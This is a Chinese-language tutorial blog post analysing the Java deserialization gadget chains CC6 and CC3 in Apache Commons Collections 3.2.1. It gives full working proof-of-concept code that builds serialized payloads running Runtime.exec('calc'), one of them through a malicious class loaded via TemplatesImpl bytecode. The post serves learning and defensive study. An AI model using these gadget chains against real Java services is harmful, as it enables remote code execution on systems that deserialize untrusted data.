Java反序列化(三)——CC6、CC3

0 背景

白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)

实验环境

Java:1.8.0_65

IDEA:2022

commons-collecetions:3.2.1

1 CC6

        ysoserial中的CC6调用链如下:最下面的还是CC1中的LazyMap.get()。transform那里和CC1是代码一样的,只不过ysoserial这里表述不同而已。CC6最大的特点是不受JDK版本影响,像CC1在1.8.0_71后就修该了AnnotationInvocationHandler.readObject(),里面不在调用setValue()。

        ​

1.1 分析调用链——编写POC

        LazyMap.get()方法如下。

        这里每个key只能使用一次,因为进入if逻辑后,就会调用map.put(),下次就不能用了。

1.1.1 TiedMapEntry.getValue()调用了LazyMap.get()

        结合前述代码需要满足条件:TiedMapEntry.map = LazyMap实例  &&  TiedMapEntry.key not in LazyMap.map.keySet().

        要满足第二个条件,需要确保TiedMapEntry的key是第一次出现。在这里,会消耗TiedMapEntry.key加入到LazyMap.map中

1.1.2 TiedMapEntry.hashCode()调用了TiedMapEntry.getValue()

        这里直接调用getValue()了,所以结合前述代码需要满足条件:TideMapEntry.map = LazyMap实例  &&  TideMapEntry.key not in LazyMap.map.keySet().

        由于这两步都是TiedMapEntry被类调用,所以选择分析完hashCode后在把LazyMap装进TiedMapEntry。TideMapEntry可以直接new实例,并控制其内部的map和key。

        代码如下:

1.1.3 HashMap.hash()调用了TiedMapEntry.hashCode()

        需要满足条件:hash传入参数 key = TiedMapEntry

1.1.4 HashMap.put()调用了HashMap.hash()

        需要满足条件:put函数传入参数 key = TiedMapEntry

        put中key = TiedMapEntry就能满足hash中 key = TiedMapEntry。

        从这里看,其实不用将TiedMapEntry装入HashMap中,只需要在执行HashMap.put(key, null)的时候,key=TiedMapEntry就可以。

1.1.5 HashSet.readObject()调用了HashMap.put()

        从这里可以看到至少要满足:e=TiedMapEntry.

        至于条件:HashSet.map=HashMap 不满足也可以,因为HashSet.map的类型本来就HashMap的。在这里只要确保e就行。

        这里还有其他的代码逻辑可能导致走不到map.put,但由于已经到了readObject,我个人更喜欢直接开始正向调试readObject。

        如何把e=TiedMapEntry呢?先看HashSet的构造函数和变量。HashSet可以通过反射或者add方法来赋值。此外,这里的e,初步猜测可以用add(TiedMapEntry),因为add()里面就调用了put,和readObject中调用的形式比较相近。

public class HashSet<E>
    extends AbstractSet<E>
    implements Set<E>, Cloneable, java.io.Serializable
{
    static final long serialVersionUID = -5024744406713321676L;

    private transient HashMap<E,Object> map;

    private static final Object PRESENT = new Object();

    public HashSet() {
        map = new HashMap<>();
    }

    public HashSet(Collection<? extends E> c) {
        map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));
        addAll(c);
    }


    public HashSet(int initialCapacity, float loadFactor) {
        map = new HashMap<>(initialCapacity, loadFactor);
    }

    public HashSet(int initialCapacity) {
        map = new HashMap<>(initialCapacity);
    }


    HashSet(int initialCapacity, float loadFactor, boolean dummy) {
        map = new LinkedHashMap<>(initialCapacity, loadFactor);
    }

    public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }

    1.2 正向调试    

        根据上述分析,写了以下的POC。需要注意的是,在序列化时,hashSet.add调用过程中,会调用put,进而走完后序链条,把key消耗掉,需要将加入key去除。

       成功走进逻辑。 

1.3 另外一条CC6链——HashMap.readObject()

        为什么HashMap.readObject也会触发调用链呢?这里和URLDNS很像,入口类那里和URLDNS这条链是一样。

        GadGet:
            java.util.HashMap.readObject()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

        看一下HashMap.readObject的代码,当把HashMap的key是tideMapEntry,那就能走完调用链条了。而刚好上面我写的POC中,HashMap的key就是tideMapEntry。所以这里会从不同的Source入口类提前触发hash()往后的调用链

        另一条链最终的POC如下:

package CCTest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {

    public static void main(String[] args) throws Exception {

        Transformer[] tranformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
//
        ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);

        HashMap hashMap = new HashMap();
//        //        hashMap.put("value", "value");
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
//
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "lazymapValue");

        HashMap hashMap1 = new HashMap();
        hashMap1.put(tiedMapEntry, "tiedMapEntryValue");
        lazymap.remove("lazymapValue");

        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);

        serialize(hashMap1);

        unserilize("cc6-2.bin");

    }


    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6-2.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

2 CC3

       CC1和CC6是通过Transformer来反射调用Runtime来执行命令,CC3则是通过Transformer去执行类加载的调用链,进而加载恶意类执行静态代码来执行命令(不需要Runtime反射调用)。所以,CC3的前半条链和CC1/CC6是一样的,之后Transformer后的有所不同。

        java.lang.ClassLoader.defineClass()是类加载过程中真正将字节码转换为class源类的函数,该方法有多个重载,可直接定位到639行的defineClass。这个是protected的方法Transformer没办法执行该方法,因为 setAccessible 返回值是void,无法链式调用。

2.1 寻找类加载链

2.1.1 TemplatesImpl$TransletClassLoader.defineClass(b)方法方法调用了ClassLoader.defineClass(b)

        这里的方法是默认访问权限,继续网上找。而且需要满足这里的 byte[] b可控,这里就是传入类字节的变量。TemplatesImp继承了Serializable接口。

2.1.2 TemplatesImpl.defineTransletClasses()调用了TemplatesImpl$TransletClassLoader.defineClass(b)

        这里先需要满足条件:_bytecodes[i] = evilClassByteCode

        但这里代码只进行了类加载,并没有初始化,这样是没办法执行static中的代码。同时该方法时private的。需要进一步往下找,找会创建实例的,创建实例的过程会一同初始化。

        由于这里没有初始化,所以defineTransletClasses函数里的代码逻辑必须成功走完,不能报错,否则中断流程,就是加载了类,没办法执行代码。因此还需要满足其他条件,这里等调试的时候在分析吧。

2.1.3 TemplatesImpl.getTransletInstance()调用了emplatesImpl.defineTransletClasses()

        只需要满足条件:_class == null && _name != 0

        但还是private,继续找。

2.1.4 TemplatesImpl.newTransformer()调用了TemplatesImpl.getTransletInstance()

        是一个public方法,并且这里不需要满足什么条件。所以类加载的调用链找到了。

        综上目前需要满足条件:_bytecodes[i] = evilClassByteCode  && _class == 0 && _name != 0

2.1.5 调试

        可以先调用newTransformer看能不能成功加载,如果成功,再用Transformer执行也不迟。

        先创建一个恶意类:

import java.io.IOException;

public class CC3Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException o){
            throw new RuntimeException(o);
        }
    }
}

        下面是TemplatesImpl中的变量,这里直接通过反射来编写,然后调试,从前面的分析,这里重点是在defineTransletClasses中的逻辑。

private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private Properties _outputProperties;
private transient TransformerFactoryImpl _tfactory = null;

        代码如下:

        问题1:_tfactory空指针异常。但实际中在反序列中,这里并不会产生问题,这是一个transien变量。

        问题1解决:给_tfactory赋一个TransformerFactoryImpl类就行

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        问题2:_auxClasses空指针和_transletIndex=-1。

        问题2解决:其实从这里的代码逻辑上看,只要superClass.getName().equals(ABSTRACT_TRANSLET)成立,_transletIndex就会赋值为i(>0),这样就不会走_auxClasses的逻辑,下面<0的报错也不会走。superClass.getName().equals(ABSTRACT_TRANSLET)的意思就是让被加载类的父类等于ABSTRACT_TRANSLET常量.

2.2 完整POC

        先观察TemplatesImpl.readObject(),只需要设置_name和_bytecodes就行。

        代码:

package CCTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {

        byte[] evil = Files.readAllBytes(Paths.get("CC3Calc.class"));
        byte[][] codes = {evil};

        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] tranformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);

        HashMap hashMap = new HashMap();
        hashMap.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);

        Object o = aihConstructor.newInstance(Target.class, transformedMap);
        serialize(o);
        unserilize("cc3-1.bin");
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3-1.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

        CC3后半段类加载链:

ChainedTransformer.transform():
  InvocationTransformer.transform()
    TemplatesImpl.newTransformer()
      TemplatesImpl.getTransletInstance()
        TemplatesImpl.defineTransletClasses()
          TemplatesImpl$TransletClassLoader.defineClass()
            ClassLoader.defineClass()

2.3 ysoseril中的CC3多了两步

ChainedTransformer.transform():
  InstantiateTransformer.transform()
  getConstructor(iParamTypes).newInstance(iArgs)
    TrAXFilter.TrAXFilter(template)
      TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance()
          TemplatesImpl.defineTransletClasses()
            TemplatesImpl$TransletClassLoader.defineClass()
              ClassLoader.defineClass()

        (1)TrAXFilter类的有参构函数中,会调用newTransformer()

        (2)InstantiateTransformer.transform(input)中,会反射通过Constructor创建input的实例。

        所以这里还要多满足两个条件:input=TrAXFilter && templates=TemplatesImpl && iParamTypes=TemplatesImpl.class && iArgs=TemplatesImpl实例。

        最终POC:在上面的POC上修改Tranformer[]就行。

  • 17
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值